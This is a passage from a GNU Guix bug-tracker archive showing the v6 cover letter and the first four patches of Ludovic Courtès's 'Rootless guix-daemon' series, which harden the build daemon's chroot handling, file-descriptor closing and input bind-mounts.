 
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 17 Mar 2025 17:04:12 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Mon Mar 17 13:04:12 2025
Received: from localhost ([127.0.0.1]:60646 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tuDso-0002e7-T3
	for submit <at> debbugs.gnu.org; Mon, 17 Mar 2025 13:04:11 -0400
Received: from eggs.gnu.org ([2001:470:142:3::10]:42128)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tuDsM-0002XX-9V
 for 75810 <at> debbugs.gnu.org; Mon, 17 Mar 2025 13:03:44 -0400
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tuDsE-000543-Ir; Mon, 17 Mar 2025 13:03:35 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=OHeVSHlKl++yMNnhWaubdTXXSn3UUkG8AbIkWMisgq8=; b=P8ET9BnuSV8myBnnmarl
 NqHO1QvQ4caTptaIUVmcZi466TVUunrpE5JUNOIkmnw0R3by5q9mVc84oszm1K3+mZ+Vc3LK5DVGg
 GyeC7lp9eId3uHuaDLeJfMdVtzy2gFw+BXv8/hS7nCupQ2im2LFLWQ/TLLb4timTEXQHqueWiQIom
 qdH7wCdOmo/pItCFEn5SHLsIQmx7eoqjwru2JQ+u0fIfzEo39eaOLdNXww+uz31kBcJ5xw7GXtVsX
 zEWeLMeoBLkC2b7nEr7FSysgU8rw0UsFxCK8bKp2reIrpB9xqm96FD45yA8CIRlLnqh6cqxNukF4J
 5XeeYiNXrqdYzg==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v6 04/16] daemon: Bind-mount all the inputs,
 not just directories.
Date: Mon, 17 Mar 2025 18:02:47 +0100
Message-ID: <4744bfb6ab859af7e64a387d29ad6c99cb2a7aac.1742230219.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1742230219.git.ludo@HIDDEN>
References: <cover.1742230219.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -0.8 (/)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>,
 Reepca Russelstein <reepca@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -1.8 (-)

* nix/libstore/build.cc (DerivationGoal::startBuilder): Add all of
‘inputPaths’ to ‘dirsInChroot’ instead of hard-linking regular files.
Special-case symlinks.
(DerivationGoal)[regularInputPaths]: Remove.

Reported-by: Reepca Russelstein <reepca@HIDDEN>
Change-Id: I070987f92d73f187f7826a975bee9ee309d67f56
---
 nix/libstore/build.cc | 39 ++++++++++++++-------------------------
 1 file changed, 14 insertions(+), 25 deletions(-)

diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
index 8ca5e5b732..193b279b88 100644
--- a/nix/libstore/build.cc
+++ b/nix/libstore/build.cc
@@ -659,9 +659,6 @@ private:
     /* RAII object to delete the chroot directory. */
     std::shared_ptr<AutoDelete> autoDelChroot;
 
-    /* All inputs that are regular files. */
-    PathSet regularInputPaths;
-
     /* Whether this is a fixed-output derivation. */
     bool fixedOutput;
 
@@ -1850,9 +1847,7 @@ void DerivationGoal::startBuilder()
 
         /* Make the closure of the inputs available in the chroot,
            rather than the whole store.  This prevents any access
-           to undeclared dependencies.  Directories are bind-mounted,
-           while other inputs are hard-linked (since only directories
-           can be bind-mounted).  !!! As an extra security
+           to undeclared dependencies.  !!! As an extra security
            precaution, make the fake store only writable by the
            build user. */
         Path chrootStoreDir = chrootRootDir + settings.nixStore;
@@ -1863,28 +1858,22 @@ void DerivationGoal::startBuilder()
             throw SysError(format("cannot change ownership of ‘%1%’") % chrootStoreDir);
 
         foreach (PathSet::iterator, i, inputPaths) {
-            struct stat st;
+	    struct stat st;
             if (lstat(i->c_str(), &st))
                 throw SysError(format("getting attributes of path `%1%'") % *i);
-            if (S_ISDIR(st.st_mode))
-                dirsInChroot[*i] = *i;
-            else {
-                Path p = chrootRootDir + *i;
-                if (link(i->c_str(), p.c_str()) == -1) {
-                    /* Hard-linking fails if we exceed the maximum
-                       link count on a file (e.g. 32000 of ext3),
-                       which is quite possible after a `nix-store
-                       --optimise'. */
-                    if (errno != EMLINK)
-                        throw SysError(format("linking `%1%' to `%2%'") % p % *i);
-                    StringSink sink;
-                    dumpPath(*i, sink);
-                    StringSource source(sink.s);
-                    restorePath(p, source);
-                }
 
-                regularInputPaths.insert(*i);
-            }
+	    if (S_ISLNK(st.st_mode)) {
+		/* Since bind-mounts follow symlinks, thus representing their
+		   target and not the symlink itself, special-case
+		   symlinks. XXX: When running unprivileged, TARGET can be
+		   deleted by the build process.  Use 'open_tree' & co. when
+		   it's more widely available.  */
+                Path target = chrootRootDir + *i;
+		if (symlink(readLink(*i).c_str(), target.c_str()) == -1)
+		    throw SysError(format("failed to create symlink '%1%' to '%2%'") % target % readLink(*i));
+	    }
+	    else
+		dirsInChroot[*i] = *i;
         }
 
         /* If we're repairing, checking or rebuilding part of a
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 17 Mar 2025 17:04:10 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Mon Mar 17 13:04:10 2025
Received: from localhost ([127.0.0.1]:60644 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tuDso-0002dx-6E
	for submit <at> debbugs.gnu.org; Mon, 17 Mar 2025 13:04:10 -0400
Received: from eggs.gnu.org ([2001:470:142:3::10]:42112)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tuDsH-0002Wu-AS
 for 75810 <at> debbugs.gnu.org; Mon, 17 Mar 2025 13:03:43 -0400
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tuDsA-00052t-OQ; Mon, 17 Mar 2025 13:03:30 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=fUCaHHG/eO75rZDRlbk9XFL7p37y9SICE8zVkSS6pAE=; b=cRR4pe3g4WK250IKJKcM
 9pQ5FLJluEu/eCuBg4b2XxHeM3JUwkZWQhbvfA3oMViouJ7w8YDvm5/aj4hBQDjl/xHc2p0C0q6TP
 NjKKvvJbB6z1tgTWqYNTeJlu+3b/j1ZOPyLvLtGjITH60wjW9XILUieDVAi+zoZwEsB81AtTCN7gy
 2nrTIi67ELAA6P+JjUw7mulrbrDUuScadiNkmrBueouto06N2NLfZWaNy/yuIb3poJmZjIOU5hjaO
 EP2KyJAKmH0MY4N4uHFR4GLJxJspKPJYYRTRE7KLVVACi3NnuaY+/l6iop8LtzevE5RfDEvQY/2fb
 Pf98ldlwGP5YKg==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v6 02/16] daemon: Close the read end of the logging pipe.
Date: Mon, 17 Mar 2025 18:02:45 +0100
Message-ID: <b4f08920874bad9386a1bdb390859c3c78be5aa1.1742230219.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1742230219.git.ludo@HIDDEN>
References: <cover.1742230219.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -0.8 (/)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>,
 Reepca Russelstein <reepca@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -1.8 (-)

* nix/libutil/util.cc (commonChildInit): Close ‘logPipe.readSide’.

Reported-by: Reepca Russelstein <reepca@HIDDEN>
Change-Id: Ia9e48d1afb85d7af52770e016f2b6832792044dd
---
 nix/libutil/util.cc | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/nix/libutil/util.cc b/nix/libutil/util.cc
index eb2d16e1cc..56f116046c 100644
--- a/nix/libutil/util.cc
+++ b/nix/libutil/util.cc
@@ -1279,6 +1279,9 @@ void commonChildInit(Pipe & logPipe)
     if (setsid() == -1)
         throw SysError(format("creating a new session"));
 
+    /* Close the read end so only the parent holds a reference to it.  */
+    logPipe.readSide.close();
+
     /* Dup the write side of the logger pipe into stderr. */
     if (dup2(logPipe.writeSide, STDERR_FILENO) == -1)
         throw SysError("cannot pipe standard error into log file");
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 17 Mar 2025 17:04:10 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Mon Mar 17 13:04:10 2025
Received: from localhost ([127.0.0.1]:60642 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tuDsm-0002di-VK
	for submit <at> debbugs.gnu.org; Mon, 17 Mar 2025 13:04:09 -0400
Received: from eggs.gnu.org ([2001:470:142:3::10]:42114)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tuDsJ-0002Wy-DO
 for 75810 <at> debbugs.gnu.org; Mon, 17 Mar 2025 13:03:43 -0400
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tuDsC-00053A-T7; Mon, 17 Mar 2025 13:03:33 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=5fbggu8STjwEXFRRV3Gq/UXyTgxUmf6fh1UKO8gjNXs=; b=KEyusKSTpns+y0uK7zkb
 SGlGL68UI/Zccd8yBo2zuzubOv6wDUZvPNDSiaLxTib6cK0cr18WFjp0UbPh2F8sZDflrn4qvwpG+
 tPrg6rbjXG6icAqpFEncmRjL2L1FSiLaEzgo6tVd3HLZn76i1yREybpNMQB4nWqt2EmV7NsYVkR45
 4te4oedE/KQeP0gg0e7w0Cd9kISgFtL9OBq1XZjecy+VAOI/ylTU0FyWrWc0llJ2JEnT2ii/nod7+
 u8Zsyg+I7MQ/pAkClHaGZKMf2a8HNgIjEnh2b0K1dqz32I8Jmx1JePf6jtrglf21uvziiIsUAsgSN
 iRTnhaf2oD+3AA==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v6 03/16] daemon: Bind-mount /etc/nsswitch.conf & co. only if
 it exists.
Date: Mon, 17 Mar 2025 18:02:46 +0100
Message-ID: <2818f5c7b1eaa746d3981d9fcee48aaa35b57263.1742230219.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1742230219.git.ludo@HIDDEN>
References: <cover.1742230219.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

Those files may be missing in some contexts, for instance within the
build environment.

* nix/libstore/build.cc (DerivationGoal::runChild): Add /etc/resolv.conf
and related files to ‘ss’ only if they exist.

Change-Id: Ie19664a86c8101a1dc82cf39ad4b7abb10f8250a
---
 nix/libstore/build.cc | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
index edd01bab34..8ca5e5b732 100644
--- a/nix/libstore/build.cc
+++ b/nix/libstore/build.cc
@@ -2093,10 +2093,11 @@ void DerivationGoal::runChild()
                network, so give them access to /etc/resolv.conf and so
                on. */
             if (fixedOutput) {
-                ss.push_back("/etc/resolv.conf");
-                ss.push_back("/etc/nsswitch.conf");
-                ss.push_back("/etc/services");
-                ss.push_back("/etc/hosts");
+		auto files = { "/etc/resolv.conf", "/etc/nsswitch.conf",
+			       "/etc/services", "/etc/hosts" };
+		for (auto & file: files) {
+		    if (pathExists(file)) ss.push_back(file);
+		}
             }
 
             for (auto & i : ss) dirsInChroot[i] = i;
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 17 Mar 2025 17:03:54 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Mon Mar 17 13:03:53 2025
Received: from localhost ([127.0.0.1]:60634 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tuDsR-0002Ze-Dg
	for submit <at> debbugs.gnu.org; Mon, 17 Mar 2025 13:03:53 -0400
Received: from eggs.gnu.org ([2001:470:142:3::10]:42100)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tuDsH-0002Wt-3s
 for 75810 <at> debbugs.gnu.org; Mon, 17 Mar 2025 13:03:40 -0400
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tuDs8-00052T-BH; Mon, 17 Mar 2025 13:03:28 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:Date:Subject:To:From:in-reply-to:
 references; bh=w34Dg0lx8HR0/NDPhk/qpYHbFLdvAG5Ej+OMGuq/kXU=; b=UdyILmrQjrY9JN
 v7apXpPLIqXgcudI3qOZVguDBwouAukds4wvFcnkxoIB2Mbot+KHybNcL0bSge5B7IbUgvRMwE7+Z
 JQ3Ft+UhMgwxJsZsmxDXtDL5vIBSTfqr8hzLob09nBRHya4v5VsQRj9jvhlB7vwizg3RYbdOvBC84
 sDHQ+iNwuNvRrbiivFQcLVWOo43zcRXkYV/Vzf8JIWSSx7an42ydNz8MKM01RC+6btMmYfV46cu/y
 g/WqTjl0nsbZfpdJtGsdHCmVY542sw1ECqN+fUQ2tm51YT7TlUsRYXQHhaF6h3gHl8ybWUOcx5npi
 07gL5xfP/3FCL7s+990Q==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v6 00/16] Rootless guix-daemon
Date: Mon, 17 Mar 2025 18:02:43 +0100
Message-ID: <cover.1742230219.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>,
 Reepca Russelstein <reepca@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -1.0 (-)

Hello,

This new version addresses Reepca’s latest comments¹:

  • Close the read end of ‘logPipe’ in ‘commonChildInit’.

  • Explicitly close the ‘readiness’ pipe.

  • Fix ‘--disable-chroot’ warning in the manual that was misleading.

  • Have ‘test-env’ check whether user namespaces are supported at all,
    which fixes non-Linux support (where it would previously fail to
    pass ‘--disable-chroot’.)

  • Change ‘unprivileged-user-namespace-supported?’ similarly.

  • Fix “build root cannot be made world-readable” test, which could
    not possibly fail and was exposing users unnecessarily.

  • Change ‘guix-install.sh’ on systemd machines: warn when unprivileged
    user namespaces are disabled, attempt to enable them, and error out
    if we failed to enable them.

Hopefully I didn’t forget anything.

I checked that the “debian-install” and “guix-daemon” system tests
still pass.

Thanks,
Ludo’.

¹ https://issues.guix.gnu.org/75810#91

Ludovic Courtès (16):
  daemon: Use ‘close_range’ where available.
  daemon: Close the read end of the logging pipe.
  daemon: Bind-mount /etc/nsswitch.conf & co. only if it exists.
  daemon: Bind-mount all the inputs, not just directories.
  daemon: Remount inputs as read-only.
  daemon: Remount root directory as read-only.
  daemon: Allow running as non-root with unprivileged user namespaces.
  daemon: Create /var/guix/profiles/per-user unconditionally.
  daemon: Drop Linux ambient capabilities before executing builder.
  daemon: Move comments where they belong.
  linux-container: ‘unprivileged-user-namespace-supported?’ returns #f
    on non-Linux.
  tests: Add missing derivation inputs.
  tests: Run in a chroot and unprivileged user namespaces.
  etc: systemd services: Run ‘guix-daemon’ as an unprivileged user.
  guix-install.sh: Support the unprivileged daemon where possible.
  DRAFT gnu: guix: Update to 07c5b1b

 build-aux/test-env.in               |  18 +-
 config-daemon.ac                    |   5 +-
 doc/guix.texi                       | 102 ++++++++---
 etc/gnu-store.mount.in              |   3 +-
 etc/guix-daemon.service.in          |  22 ++-
 etc/guix-install.sh                 | 124 +++++++++++---
 gnu/build/linux-container.scm       |   4 +-
 gnu/packages/package-management.scm |   6 +-
 guix/substitutes.scm                |   2 +-
 nix/libstore/build.cc               | 251 +++++++++++++++++++++-------
 nix/libstore/local-store.cc         |  26 ++-
 nix/libutil/util.cc                 |  26 ++-
 tests/derivations.scm               |  24 ++-
 tests/packages.scm                  |  13 +-
 tests/processes.scm                 |   9 +-
 tests/store.scm                     | 247 +++++++++++++++++++++++----
 16 files changed, 698 insertions(+), 184 deletions(-)


base-commit: 0c497c87ac47206b3e8c6dfa2e1e9b5f3e452292
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 17 Mar 2025 17:03:47 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Mon Mar 17 13:03:47 2025
Received: from localhost ([127.0.0.1]:60632 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tuDsO-0002Z8-6R
	for submit <at> debbugs.gnu.org; Mon, 17 Mar 2025 13:03:47 -0400
Received: from eggs.gnu.org ([2001:470:142:3::10]:42088)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tuDsG-0002Ws-Pq
 for 75810 <at> debbugs.gnu.org; Mon, 17 Mar 2025 13:03:40 -0400
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tuDs9-00052c-6M; Mon, 17 Mar 2025 13:03:29 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=gj2HkSqKqMC6OnWJO11zAMx01vOVuopEBzKWBjgHWEs=; b=hszcIaMPoR6xxiJkkZjJ
 xCwan8g7WYMTRYWjuTMES6IzX3Cs+agtTh4qz1WTMfUT+1zsbicLacDDZ7kZTqOp+x6vCJLtXGnBW
 9d6JRmzCf34WLM7A/gl9hMpUifWSbyZScFM4lekPvHUP28+SRScOdkv63V8jCG6nb6Xq1AnJYBuum
 /LiJA+QdGrXZ3zaBnpPRoBon+9asHVfWBXBc1PhyhTfrqwIBMAPI7haY9NjRRDzC5HZ1EvDPgx4ux
 2OVhpKxq2AET10Y0gWeQlZra4lfnoroMmEkGugfvl9B4LXyr0sO03Gq+DhkYD2un8fxBvdEhbwXXq
 EiAXaqP//Qu0KQ==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v6 01/16] =?UTF-8?q?daemon:=20Use=20=E2=80=98close=5Frange?=
 =?UTF-8?q?=E2=80=99=20where=20available.?=
Date: Mon, 17 Mar 2025 18:02:44 +0100
Message-ID: <bba84cef11327acccc18b7a953c33a85fdec430e.1742230219.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1742230219.git.ludo@HIDDEN>
References: <cover.1742230219.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -0.0 (/)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* nix/libutil/util.cc (closeMostFDs) [HAVE_CLOSE_RANGE]: Use
‘close_range’ when ‘exceptions’ is empty.
* config-daemon.ac: Check for <linux/close_range.h> and the
‘close_range’ symbol.

Change-Id: I12fa3bde58b003fcce5ea5a1fee1dcf9a92c0359
---
 config-daemon.ac    |  5 +++--
 nix/libutil/util.cc | 23 +++++++++++++++++------
 2 files changed, 20 insertions(+), 8 deletions(-)

diff --git a/config-daemon.ac b/config-daemon.ac
index 6731c68bc3..4e949bc88a 100644
--- a/config-daemon.ac
+++ b/config-daemon.ac
@@ -78,7 +78,8 @@ if test "x$guix_build_daemon" = "xyes"; then
 
   dnl Chroot support.
   AC_CHECK_FUNCS([chroot unshare])
-  AC_CHECK_HEADERS([sched.h sys/param.h sys/mount.h sys/syscall.h])
+  AC_CHECK_HEADERS([sched.h sys/param.h sys/mount.h sys/syscall.h \
+    linux/close_range.h])
 
   if test "x$ac_cv_func_chroot" != "xyes"; then
     AC_MSG_ERROR(['chroot' function missing, bailing out])
@@ -95,7 +96,7 @@ if test "x$guix_build_daemon" = "xyes"; then
   dnl strsignal: for error reporting.
   dnl statx: fine-grain 'stat' call, new in glibc 2.28.
   AC_CHECK_FUNCS([lutimes lchown posix_fallocate sched_setaffinity \
-     statvfs nanosleep strsignal statx])
+     statvfs nanosleep strsignal statx close_range])
 
   dnl Check for <locale>.
   AC_LANG_PUSH(C++)
diff --git a/nix/libutil/util.cc b/nix/libutil/util.cc
index 3206dea11b..eb2d16e1cc 100644
--- a/nix/libutil/util.cc
+++ b/nix/libutil/util.cc
@@ -23,6 +23,10 @@
 #include <sys/prctl.h>
 #endif
 
+#ifdef HAVE_LINUX_CLOSE_RANGE_H
+# include <linux/close_range.h>
+#endif
+
 
 extern char * * environ;
 
@@ -1087,12 +1091,19 @@ string runProgram(Path program, bool searchPath, const Strings & args)
 
 void closeMostFDs(const set<int> & exceptions)
 {
-    int maxFD = 0;
-    maxFD = sysconf(_SC_OPEN_MAX);
-    for (int fd = 0; fd < maxFD; ++fd)
-        if (fd != STDIN_FILENO && fd != STDOUT_FILENO && fd != STDERR_FILENO
-            && exceptions.find(fd) == exceptions.end())
-            close(fd); /* ignore result */
+#ifdef HAVE_CLOSE_RANGE
+    if (exceptions.empty())
+	 close_range(3, ~0U, 0);
+    else
+#endif
+    {
+	 int maxFD = 0;
+	 maxFD = sysconf(_SC_OPEN_MAX);
+	 for (int fd = 0; fd < maxFD; ++fd)
+	      if (fd != STDIN_FILENO && fd != STDOUT_FILENO && fd != STDERR_FILENO
+		  && exceptions.find(fd) == exceptions.end())
+		   close(fd); /* ignore result */
+    }
 }
 
 
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 15 Mar 2025 23:45:09 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Sat Mar 15 19:45:08 2025
Received: from localhost ([127.0.0.1]:44097 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
